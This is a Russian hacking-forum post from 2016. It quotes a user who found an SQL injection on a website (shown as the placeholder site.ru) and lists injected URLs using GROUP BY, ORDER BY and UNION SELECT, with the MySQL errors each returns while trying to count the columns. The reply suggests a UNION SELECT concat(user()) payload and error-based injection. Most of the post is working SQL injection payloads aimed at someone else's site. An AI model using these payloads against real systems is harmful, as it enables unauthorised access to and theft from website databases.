Показать сообщение отдельно

  #7  
Старый 22.08.2016, 17:21
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Цитата:
Сообщение от [XOR  
"]
[XOR] said:

Нашел на сайте SQL Injection:
http://site.ru/search/?num=13750-01a'
с такой ошибкой:
Database error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
но не могу определить количество столбцов. Через
GROUP BY
определить никак не получается. Делал так:
http://site.ru/search/?num=13750-01a' GROUP BY 2 --
Database error:Unknown column '2' in 'group statement'
если выводится такая ошибка, значит количество столбцов меньше 2, что странно. Естественно далее делаю так:
http://site.ru/search/?num=13750-01a' GROUP BY 1 --
Database error:Can't group on 'cnt'
что за ошибка такая? Гугл не помог.

А вот

ORDER BY
работает немного по другому:
http://site.ru/search/?num=13750-01a' ORDER BY 2 --

Database error:Unknown column '2' in 'order clause'

тут все как и в первом случае. А если сделать так:
http://site.ru/search/?num=13750-01a' ORDER BY 1 --
то никаких ошибок нет и все отображается нормально, в отличии от первого варианта с
GROUP BY
.

И чтобы окончательно убедиться делал так:

http://site.ru/search/?num=13750-01a' UNION SELECT 1 --

Database error:The used SELECT statements have a different number of columns

причем пробовал указывать в
UNION SELECT
несколько столбцов, вплоть до 10, но ошибка не меняется.

В общем, требуется помощь.

union+select+concan(user())

Вариантов много может быть.

Пробуйте лучше еррор
 
Ответить с цитированием